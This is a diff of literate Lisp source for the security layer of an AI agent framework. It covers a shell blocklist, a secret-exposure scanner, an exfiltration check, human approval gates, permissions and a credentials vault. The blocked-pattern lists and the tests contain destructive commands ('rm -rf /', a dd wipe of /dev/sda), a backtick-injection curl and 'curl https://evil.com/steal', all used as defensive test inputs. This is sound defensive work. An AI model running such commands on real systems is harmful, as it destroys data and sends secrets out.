|
||||
** Content exposure patterns (*dispatcher-exposure-patterns*)
|
||||
Named regex patterns for scanning content for secret exposure. Each entry is a (name regex) pair. Matches are reported by name so downstream code can act on specific categories.
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *dispatcher-exposure-patterns*
|
||||
'((:pem-key "-----BEGIN +(RSA|DSA|EC|OPENSSH|PGP) +PRIVATE +KEY *-----")
|
||||
@@ -81,6 +117,7 @@ Named regex patterns for scanning content for secret exposure. Each entry is a (
|
||||
|
||||
** Shell safety — timeout
|
||||
Maximum seconds a shell command is allowed to run before being killed.
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *dispatcher-shell-timeout* 30
|
||||
"Maximum seconds for a shell command before timeout.")
|
||||
@@ -88,6 +125,7 @@ Maximum seconds a shell command is allowed to run before being killed.
|
||||
|
||||
** Shell safety — output limit
|
||||
Maximum characters of shell command output to capture. Prevents memory exhaustion from infinite output.
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *dispatcher-shell-max-output* 100000
|
||||
"Maximum characters of shell output to capture.")
|
||||
@@ -95,6 +133,7 @@ Maximum characters of shell command output to capture. Prevents memory exhaustio
|
||||
|
||||
** Shell safety — blocked patterns
|
||||
Destructive and injection patterns that are blocked in shell commands. Covers ~rm -rf /~, ~dd~, ~mkfs~, ~shred~, backtick injection, and ~$()~ subshell injection.
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *dispatcher-shell-blocked*
|
||||
'((:destructive-rm "\\brm\\s+-rf\\s+/")
|
||||
@@ -109,6 +148,7 @@ Destructive and injection patterns that are blocked in shell commands. Covers ~r
|
||||
#+end_src
|
||||
|
||||
** Secret Path Check (dispatcher-check-secret-path)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun wildcard-match (pattern path)
|
||||
"Matches PATH against PATTERN where * matches any characters."
|
||||
@@ -116,6 +156,10 @@ Destructive and injection patterns that are blocked in shell commands. Covers ~r
|
||||
"\\*" (cl-ppcre:quote-meta-chars pattern) ".*")))
|
||||
(cl-ppcre:scan regex path)))
|
||||
|
||||
#+end_src
|
||||
** dispatcher-check-secret-path
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun dispatcher-check-secret-path (filepath)
|
||||
"Returns the matching pattern if FILEPATH matches a protected path, nil otherwise."
|
||||
(when (and filepath (stringp filepath))
|
||||
@@ -124,8 +168,10 @@ Destructive and injection patterns that are blocked in shell commands. Covers ~r
|
||||
pattern))
|
||||
*dispatcher-protected-paths*)))
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Content Exposure Scanner (dispatcher-exposure-scan)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun dispatcher-exposure-scan (text)
|
||||
"Scans TEXT for patterns matching known secret formats.
|
||||
@@ -141,6 +187,7 @@ Returns a list of matched category keywords."
|
||||
#+end_src
|
||||
|
||||
** Vault Secret Scanning (dispatcher-vault-scan)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun dispatcher-vault-scan (text)
|
||||
"Scans TEXT for known secrets from the vault."
|
||||
@@ -155,6 +202,7 @@ Returns a list of matched category keywords."
|
||||
#+end_src
|
||||
|
||||
** Privacy Tag Check (dispatcher-check-privacy-tags)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun dispatcher-check-privacy-tags (tags-list)
|
||||
"Returns T if any tag in TAGS-LIST matches a privacy filter tag."
|
||||
@@ -166,6 +214,10 @@ Returns a list of matched category keywords."
|
||||
*dispatcher-privacy-tags*))
|
||||
tags-list)))
|
||||
|
||||
#+end_src
|
||||
** dispatcher-check-text-for-privacy
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun dispatcher-check-text-for-privacy (text)
|
||||
"Scans TEXT for leaked privacy-tagged content."
|
||||
(when (and text (stringp text))
|
||||
@@ -174,8 +226,10 @@ Returns a list of matched category keywords."
|
||||
(search (string-downcase tag) lower))
|
||||
*dispatcher-privacy-tags*))))
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Lisp Validation Gate (dispatcher-check-lisp-valid)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun org-blocks-extract (content)
|
||||
"Extracts concatenated Lisp code from #+begin_src lisp blocks in an Org string."
|
||||
@@ -194,6 +248,10 @@ Returns a list of matched category keywords."
|
||||
(setf code (concatenate 'string code line (string #\Newline)))))))
|
||||
(when (> (length code) 0) code))))
|
||||
|
||||
#+end_src
|
||||
** dispatcher-check-lisp-valid
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun dispatcher-check-lisp-valid (filepath content)
|
||||
"Validates Lisp syntax when writing .lisp files or Org files with lisp blocks.
|
||||
Returns the validation result plist or nil if not applicable."
|
||||
@@ -212,14 +270,20 @@ Returns the validation result plist or nil if not applicable."
|
||||
(unless valid-p
|
||||
(list :status :error :reason err)))))))
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** REPL Verification Gate (dispatcher-check-repl-verified)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun org-has-defuns-p (content)
|
||||
"Returns T if the Org content contains any #+begin_src lisp blocks with defuns."
|
||||
(when (and content (stringp content))
|
||||
(search "defun " content :test #'char-equal)))
|
||||
|
||||
#+end_src
|
||||
** dispatcher-check-repl-verified
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun dispatcher-check-repl-verified (action filepath content)
|
||||
"Warns if writing a defun to an Org file without :repl-verified metadata."
|
||||
(let ((repl-verified (getf action :repl-verified)))
|
||||
@@ -231,8 +295,10 @@ Returns the validation result plist or nil if not applicable."
|
||||
:payload (list :level :warn
|
||||
:text (format nil "Lint: Writing defun to ~a without :repl-verified flag. Did you prototype this in the REPL first?" filepath))))))
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Shell Safety Check (dispatcher-check-shell-safety)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun dispatcher-check-shell-safety (cmd)
|
||||
"Checks a shell command for destructive patterns and injection vectors.
|
||||
@@ -248,6 +314,7 @@ Returns a list of matched pattern names or nil if safe."
|
||||
#+end_src
|
||||
|
||||
** Network Check (dispatcher-check-network-exfil)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun dispatcher-check-network-exfil (cmd)
|
||||
"Detects if CMD attempts to contact an unwhitelisted external host."
|
||||
@@ -262,6 +329,7 @@ Returns a list of matched pattern names or nil if safe."
|
||||
#+end_src
|
||||
|
||||
** Main Security Gate (dispatcher-check)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun dispatcher-check (action context)
|
||||
"Security gate for high-risk actions.
|
||||
@@ -352,7 +420,8 @@ privacy tags, privacy text, shell safety, network exfil, high-impact approval."
|
||||
(and (eq target :tool) (equal (proto-get payload :tool) "shell")))
|
||||
(dispatcher-check-network-exfil cmd))
|
||||
(log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
|
||||
(list :type :EVENT :payload (list :sensor :approval-required :action action)))
|
||||
(list :type :EVENT :level :approval-required
|
||||
:payload (list :sensor :approval-required :action action)))
|
||||
|
||||
;; Vector 8: High-impact action approval
|
||||
((or (member target '(:shell))
|
||||
@@ -365,31 +434,37 @@ privacy tags, privacy text, shell safety, network exfil, high-impact approval."
|
||||
#+end_src
|
||||
|
||||
** Approval Processing (dispatcher-approvals-process)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun dispatcher-approvals-process ()
|
||||
"Scans for APPROVED flight plans and re-injects them."
|
||||
(let ((approved-nodes (list-objects-with-attribute :TODO "APPROVED"))
|
||||
(let ((approved-nodes (memory-objects-by-attribute :TODO "APPROVED"))
|
||||
(found-any nil))
|
||||
(dolist (node approved-nodes)
|
||||
(let* ((attrs (org-object-attributes node))
|
||||
(let* ((attrs (memory-object-attributes node))
|
||||
(tags (getf attrs :TAGS))
|
||||
(action-str (getf attrs :ACTION)))
|
||||
(when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str)
|
||||
(log-message "BOUNCER: Found approved flight plan '~a'. Re-injecting..." (org-object-id node))
|
||||
(log-message "BOUNCER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node))
|
||||
(let ((action (ignore-errors (read-from-string action-str))))
|
||||
(when action
|
||||
(setf (getf action :approved) t)
|
||||
(inject-stimulus action)
|
||||
(setf (getf (org-object-attributes node) :TODO) "DONE")
|
||||
(stimulus-inject (list :type :EVENT
|
||||
:payload (list :sensor :approval-required
|
||||
:action action
|
||||
:approved t)
|
||||
:meta (list :source :system)))
|
||||
(setf (getf (memory-object-attributes node) :TODO) "DONE")
|
||||
(setq found-any t))))))
|
||||
found-any))
|
||||
#+end_src
|
||||
|
||||
** Flight Plan Creation (dispatcher-flight-plan-create)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun dispatcher-flight-plan-create (blocked-action)
|
||||
"Creates a Flight Plan node for manual approval."
|
||||
(let ((id (org-id-new)))
|
||||
"Creates a Flight Plan node for manual approval in Emacs."
|
||||
(let ((id (remove #\- (princ-to-string (uuid:make-v4-uuid)))))
|
||||
(log-message "BOUNCER: Creating flight plan node '~a'..." id)
|
||||
(list :type :REQUEST :target :emacs
|
||||
:payload (list :action :insert-node :id id
|
||||
@@ -398,7 +473,126 @@ privacy tags, privacy text, shell safety, network exfil, high-impact approval."
|
||||
:ACTION (format nil "~s" blocked-action))))))
|
||||
#+end_src
|
||||
|
||||
** HITL In-Memory Store (Gateway-Agnostic Approval)
|
||||
|
||||
For TUI, CLI, and Signal/Telegram users who don't have Emacs. Pending
|
||||
actions are stored in memory with a correlation token. The user replies
|
||||
with the token to approve or deny.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *hitl-pending* (make-hash-table :test 'equal)
|
||||
"Maps correlation token → blocked-action plist for pending HITL approvals.")
|
||||
#+end_src
|
||||
|
||||
*** hitl-create
|
||||
|
||||
A new HITL entry is created whenever the deterministic engine returns an
|
||||
~:approval-required~ level action. A correlation token is generated and
|
||||
the blocked action is stored for later retrieval by ~hitl-approve~ or
|
||||
~hitl-deny~.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun hitl-create (blocked-action)
|
||||
"Saves a blocked action for HITL approval. Returns a plist with
|
||||
:token (the correlation ID) and :message (user-facing text)."
|
||||
(let* ((token (format nil "HITL-~a" (subseq (remove #\- (princ-to-string (uuid:make-v4-uuid))) 0 8))))
|
||||
(setf (gethash token *hitl-pending*) blocked-action)
|
||||
(log-message "HITL: Created pending approval ~a" token)
|
||||
(list :token token
|
||||
:message (format nil "HITL: Action requires approval [~a]. Reply /approve ~a to approve." token token))))
|
||||
#+end_src
|
||||
|
||||
*** hitl-approve
|
||||
|
||||
When the user sends an approval command with a valid token, the blocked
|
||||
action is retrieved, stamped with ~:approved t~, and re-injected into the
|
||||
pipeline via ~stimulus-inject~. The perceive gate detects the
|
||||
~:approval-required~ sensor with ~:approved t~ and processes it.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun hitl-approve (token)
|
||||
"Approves a pending HITL action by token. Re-injects with :approved t.
|
||||
Returns T if found and approved, nil if token is invalid."
|
||||
(let ((action (gethash token *hitl-pending*)))
|
||||
(if action
|
||||
(progn
|
||||
(remhash token *hitl-pending*)
|
||||
(setf (getf action :approved) t)
|
||||
(stimulus-inject (list :type :EVENT
|
||||
:payload (list :sensor :approval-required
|
||||
:action action
|
||||
:approved t)
|
||||
:meta (list :source :system)))
|
||||
(log-message "HITL: Approved ~a — re-injected" token)
|
||||
t)
|
||||
(progn
|
||||
(log-message "HITL: Token ~a not found in pending" token)
|
||||
nil))))
|
||||
#+end_src
|
||||
|
||||
*** hitl-deny
|
||||
|
||||
Denial removes the pending action from the store without re-injecting it.
|
||||
The action is silently discarded and the token becomes invalid for future
|
||||
use.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun hitl-deny (token)
|
||||
"Denies a pending HITL action by token. Removes it from the pending store.
|
||||
Returns T if found, nil if token is invalid."
|
||||
(if (gethash token *hitl-pending*)
|
||||
(progn
|
||||
(remhash token *hitl-pending*)
|
||||
(log-message "HITL: Denied ~a" token)
|
||||
t)
|
||||
(progn
|
||||
(log-message "HITL: Token ~a not found in pending" token)
|
||||
nil)))
|
||||
#+end_src
|
||||
|
||||
*** hitl-handle-message
|
||||
|
||||
The universal entry point for HITL commands arriving from any gateway.
|
||||
Parses the text for ~/approve~, ~/deny~, ~approve~, or ~deny~ followed
|
||||
by a token, dispatches to ~hitl-approve~ or ~hitl-deny~, and returns T
|
||||
if the message was a HITL command (so the gateway knows not to inject it
|
||||
into the main pipeline).
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun hitl-handle-message (text &optional source)
|
||||
"Checks if TEXT is a HITL approval or denial command.
|
||||
If it matches, processes the command and returns T.
|
||||
Otherwise returns nil (text should be handled as normal input).
|
||||
Recognized formats:
|
||||
/approve HITL-abc123
|
||||
/deny HITL-abc123
|
||||
approve HITL-abc123
|
||||
deny HITL-abc123"
|
||||
(let ((text (string-trim '(#\Space) (or text ""))))
|
||||
(when (or (uiop:string-prefix-p (string-downcase "/approve") (string-downcase text))
|
||||
(uiop:string-prefix-p (string-downcase "approve") (string-downcase text)))
|
||||
(let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
|
||||
(token (when (> (length parts) 1) (second parts))))
|
||||
(when (and token (hitl-approve token))
|
||||
(log-message "HITL: Approved via ~a — ~a" (or source :unknown) token)
|
||||
(return-from hitl-handle-message t))))
|
||||
(when (or (uiop:string-prefix-p (string-downcase "/deny") (string-downcase text))
|
||||
(uiop:string-prefix-p (string-downcase "deny") (string-downcase text)))
|
||||
(let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
|
||||
(token (when (> (length parts) 1) (second parts))))
|
||||
(when (and token (hitl-deny token))
|
||||
(log-message "HITL: Denied via ~a — ~a" (or source :unknown) token)
|
||||
(return-from hitl-handle-message t))))
|
||||
nil))
|
||||
#+end_src
|
||||
|
||||
** Gate Logic (dispatcher-gate)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun dispatcher-gate (action context)
|
||||
"Main deterministic gate for the Bouncer skill."
|
||||
@@ -421,3 +615,53 @@ privacy tags, privacy text, shell safety, network exfil, high-impact approval."
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic #'dispatcher-gate)
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-dispatcher-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:dispatcher-suite))
|
||||
|
||||
(in-package :passepartout-security-dispatcher-tests)
|
||||
|
||||
(def-suite dispatcher-suite :description "Verification of the Bouncer Security Dispatcher")
|
||||
(in-suite dispatcher-suite)
|
||||
|
||||
(test test-wildcard-match
|
||||
"Contract 1: wildcard pattern * matches any characters."
|
||||
(is (wildcard-match "*.env" ".env"))
|
||||
(is (wildcard-match "*.env" "prod.env"))
|
||||
(is (wildcard-match "*credential*" "my-credential-file"))
|
||||
(is (wildcard-match "*.key" "id_rsa.key"))
|
||||
(is (not (wildcard-match "*.env" "config.yaml"))))
|
||||
|
||||
(test test-check-secret-path
|
||||
"Contract 2: dispatcher-check-secret-path matches protected patterns."
|
||||
(is (dispatcher-check-secret-path ".env"))
|
||||
(is (dispatcher-check-secret-path "id_rsa"))
|
||||
(is (not (dispatcher-check-secret-path "README.org"))))
|
||||
|
||||
(test test-check-shell-safety
|
||||
"Contract 3: dispatcher-check-shell-safety detects dangerous commands."
|
||||
(is (dispatcher-check-shell-safety "rm -rf /"))
|
||||
(is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
|
||||
(is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
|
||||
(is (not (dispatcher-check-shell-safety "echo hello world")))
|
||||
(is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
|
||||
|
||||
(test test-check-privacy-tags
|
||||
"Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
|
||||
(is (dispatcher-check-privacy-tags '("@personal" ":project:")))
|
||||
(is (dispatcher-check-privacy-tags '("@personal")))
|
||||
(is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
|
||||
|
||||
(test test-check-network-exfil
|
||||
"Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
|
||||
(is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
|
||||
(is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
|
||||
(is (not (dispatcher-check-network-exfil "echo hello"))))
|
||||
#+end_src
|
||||
@@ -9,16 +9,45 @@ Every cognitive tool (file read, file write, shell execute, etc.) has a permissi
|
||||
|
||||
The default for any unregistered tool is ~:ask~ — cautious by default, permissive by configuration. This prevents a hallucinated tool call from executing without at least giving the user a chance to review it.
|
||||
|
||||
* Architectural Intent
|
||||
|
||||
The Authorization Matrix is the lookup table that maps tool names to
|
||||
permission levels. It is intentionally simple: set, get, default.
|
||||
The complexity lives in the Bouncer (security-dispatcher.org), which
|
||||
consults this table as one of its nine scan vectors.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (permission-set tool-name level): stores ~level~ for ~tool-name~
|
||||
in ~*permission-table*~. Tool names are normalized to lowercase.
|
||||
2. (permission-get tool-name): returns the stored level, or ~:ask~ if
|
||||
no entry exists.
|
||||
3. Tool name matching is case-insensitive — ~(permission-set :FOO :allow)~
|
||||
and ~(permission-get :foo)~ return ~:allow~.
|
||||
|
||||
** Boundaries
|
||||
|
||||
- Does NOT enforce permissions — the Bouncer does that.
|
||||
- Does NOT persist permissions to disk — this is runtime-only.
|
||||
- Does NOT validate that ~level~ is one of ~(:allow :ask :deny)~.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
#+end_src
|
||||
|
||||
** Permission store (tool level)
|
||||
Hash table mapping tool names to their permission level.
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *permission-table* (make-hash-table :test 'equal))
|
||||
#+end_src
|
||||
|
||||
** Set permission
|
||||
Sets the permission level for a specific cognitive tool.
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun permission-set (tool-name level)
|
||||
"Sets the permission level for a tool."
|
||||
@@ -27,6 +56,7 @@ Sets the permission level for a specific cognitive tool.
|
||||
|
||||
** Get permission
|
||||
Retrieves the current permission level for a tool. Defaults to ~:ask~ if unset.
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun permission-get (tool-name)
|
||||
"Retrieves the permission level for a tool. Defaults to :ask."
|
||||
@@ -39,3 +69,36 @@ Retrieves the current permission level for a tool. Defaults to ~:ask~ if unset.
|
||||
:priority 600
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-permissions-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:permissions-suite))
|
||||
|
||||
(in-package :passepartout-security-permissions-tests)
|
||||
|
||||
(def-suite permissions-suite :description "Verification of Tool Permissions")
|
||||
(in-suite permissions-suite)
|
||||
|
||||
(test test-permission-round-trip
|
||||
"Contract 1: permission-set stores a level; permission-get retrieves it."
|
||||
(permission-set "test-tool" :allow)
|
||||
(is (eq :allow (permission-get "test-tool")))
|
||||
;; Clean up
|
||||
(permission-set "test-tool" nil))
|
||||
|
||||
(test test-permission-default
|
||||
"Contract 2: unregistered tools default to :ask."
|
||||
(is (eq :ask (permission-get "never-registered-tool-xyz"))))
|
||||
|
||||
(test test-permission-case-insensitive
|
||||
"Contract 3: tool names are normalized to lowercase."
|
||||
(permission-set :CapitalTool :deny)
|
||||
(is (eq :deny (permission-get :capitaltool)))
|
||||
(permission-set "CapitalTool" nil))
|
||||
#+end_src
|
||||
|
||||
@@ -11,9 +11,28 @@ This is the "Radical Transparency" invariant in practice. The agent must explain
|
||||
|
||||
The Policy skill is intentionally simple. It has one job: ensure every action has a meaningful explanation. Other security concerns (secret scanning, path blocking, network exfiltration) are handled by the Bouncer. The Policy is about values, not threats.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (policy-compliance-check action context): if ~action~ has an
|
||||
~:explanation~ string longer than 10 characters, returns the action
|
||||
unchanged. Otherwise, returns a ~:LOG~ rejection plist with
|
||||
~:level :warn~.
|
||||
|
||||
** Boundaries
|
||||
|
||||
- Does NOT check for dangerous content — the Bouncer does that.
|
||||
- Does NOT validate explanation quality — only length and presence.
|
||||
- Does NOT consider ~context~ — implementation ignores it currently.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
#+end_src
|
||||
|
||||
** Policy Logic (policy-compliance-check)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun policy-compliance-check (action context)
|
||||
"Enforces constitutional invariants on proposed actions."
|
||||
@@ -36,3 +55,38 @@ The Policy skill is intentionally simple. It has one job: ensure every action ha
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) t)
|
||||
:deterministic #'policy-compliance-check)
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-policy-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:policy-suite))
|
||||
|
||||
(in-package :passepartout-security-policy-tests)
|
||||
|
||||
(def-suite policy-suite :description "Verification of the Constitutional Policy Layer")
|
||||
(in-suite policy-suite)
|
||||
|
||||
(test test-policy-passes-valid-explanation
|
||||
"Contract 1: action with sufficient explanation passes through unchanged."
|
||||
(let* ((action '(:type :REQUEST :payload (:action :read :explanation "The user asked me to read the TODO list for today.")))
|
||||
(result (policy-compliance-check action nil)))
|
||||
(is (equal action result))))
|
||||
|
||||
(test test-policy-rejects-short-explanation
|
||||
"Contract 1: action with explanation ≤10 characters is rejected with :LOG."
|
||||
(let* ((action '(:type :REQUEST :payload (:action :read :explanation "hi")))
|
||||
(result (policy-compliance-check action nil)))
|
||||
(is (eq :LOG (getf result :type)))
|
||||
(is (search "blocked" (getf (getf result :payload) :text) :test #'char-equal))))
|
||||
|
||||
(test test-policy-rejects-missing-explanation
|
||||
"Contract 1: action without :explanation is rejected."
|
||||
(let* ((action '(:type :REQUEST :payload (:action :read)))
|
||||
(result (policy-compliance-check action nil)))
|
||||
(is (eq :LOG (getf result :type)))))
|
||||
#+end_src
|
||||
|
||||
@@ -6,9 +6,36 @@
|
||||
* Overview
|
||||
The Protocol Validator enforces schema compliance on every message entering or leaving the cognitive pipeline. It checks that messages are valid plists, that they have the required ~:type~ and ~:payload~ fields, and that the type is one of the known types (~:REQUEST~, ~:EVENT~, ~:RESPONSE~, ~:LOG~, ~:STATUS~). This prevents malformed messages from crashing the pipeline and ensures backward compatibility when the protocol evolves.
|
||||
|
||||
* Architectural Intent
|
||||
|
||||
The Protocol Validator wraps ~validate-communication-protocol-schema~
|
||||
(the core communication function) in a skill-level gate. It is the first
|
||||
filter every message passes through — malformed messages are rejected
|
||||
before they reach any cognitive stage.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (validator-protocol-check msg): returns ~msg~ if valid per
|
||||
~validate-communication-protocol-schema~. Signals ~error~ on
|
||||
malformed messages (caught by the skill's deterministic gate).
|
||||
2. The skill's deterministic gate wraps the validator: valid actions pass
|
||||
through; invalid actions produce a ~:LOG~ rejection with
|
||||
~:level :error~.
|
||||
|
||||
** Boundaries
|
||||
|
||||
- Does NOT define the schema — that is ~core-communication.org~.
|
||||
- Does NOT validate semantic content — that is the Bouncer and Policy.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
#+end_src
|
||||
|
||||
** Validation Logic
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun validator-protocol-check (msg)
|
||||
"Enforces structural schema compliance on protocol messages."
|
||||
@@ -27,3 +54,35 @@ The Protocol Validator enforces schema compliance on every message entering or l
|
||||
(error (c)
|
||||
(list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c)))))))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-security-validator-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:validator-suite))
|
||||
|
||||
(in-package :passepartout-security-validator-tests)
|
||||
|
||||
(def-suite validator-suite :description "Verification of the Protocol Validator")
|
||||
(in-suite validator-suite)
|
||||
|
||||
(test test-validator-passes-valid-message
|
||||
"Contract 1: a valid message passes protocol check."
|
||||
(let ((msg '(:type :EVENT :payload (:sensor :heartbeat))))
|
||||
(handler-case
|
||||
(progn
|
||||
(validator-protocol-check msg)
|
||||
(pass))
|
||||
(error (c)
|
||||
(fail "Validator rejected a valid message: ~a" c)))))
|
||||
|
||||
(test test-validator-rejects-missing-type
|
||||
"Contract 1: a message missing :type is rejected."
|
||||
(let ((msg '(:payload (:sensor :heartbeat))))
|
||||
(signals error
|
||||
(validator-protocol-check msg))))
|
||||
#+end_src
|
||||
|
||||
@@ -6,15 +6,51 @@
|
||||
* Overview
|
||||
The *Credentials Vault* provides secure in-memory storage for sensitive API keys and session tokens.
|
||||
|
||||
* Architectural Intent
|
||||
|
||||
The Credentials Vault isolates secrets from the rest of the system in
|
||||
a dedicated hash-table. It provides simple get/set primitives with
|
||||
environment-variable fallback for known providers. This is the single
|
||||
place where credentials enter the system — every provider skill routes
|
||||
through here.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (vault-set provider secret &key type): stores secret under
|
||||
~(format nil "~a-~a" provider type)~ in ~*vault-memory*~.
|
||||
2. (vault-get provider &key type): returns the stored secret, or falls
|
||||
back to the appropriate environment variable for known providers
|
||||
(~:openai~, ~:anthropic~, ~:openrouter~, ~:gemini~). Returns NIL
|
||||
if neither exists.
|
||||
3. (vault-get-secret provider): wrapper — calls ~vault-get~ with
|
||||
~:type :secret~.
|
||||
4. (vault-set-secret provider secret): wrapper — calls ~vault-set~
|
||||
with ~:type :secret~.
|
||||
5. Vault isolation: storing a secret for provider A does not affect
|
||||
provider B's entry. Different ~:type~ values produce different keys.
|
||||
|
||||
** Boundaries
|
||||
|
||||
- Does NOT encrypt at rest — that is the session layer's responsibility.
|
||||
- Does NOT validate key format — the provider skill does that.
|
||||
- Does NOT rotate or expire keys — this is a simple store.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
#+end_src
|
||||
|
||||
** Vault Storage
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *vault-memory* (make-hash-table :test 'equal)
|
||||
"In-memory cache of sensitive credentials.")
|
||||
#+end_src
|
||||
|
||||
** Secret Management
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun vault-get (provider &key (type :api-key))
|
||||
"Retrieves a credential from the vault or environment."
|
||||
@@ -30,22 +66,31 @@ The *Credentials Vault* provides secure in-memory storage for sensitive API keys
|
||||
(otherwise nil))))
|
||||
(when env-var (uiop:getenv env-var))))))
|
||||
|
||||
#+end_src
|
||||
** vault-set
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun vault-set (provider secret &key (type :api-key))
|
||||
"Stores a secret in the vault."
|
||||
(let ((key (format nil "~a-~a" provider type)))
|
||||
(setf (gethash key *vault-memory*) secret)))
|
||||
#+end_src
|
||||
|
||||
** Secret Wrappers (gateway-manager)
|
||||
** Secret Wrappers (gateway-messaging)
|
||||
|
||||
Thin wrappers that match the export names used by =gateway-manager=.
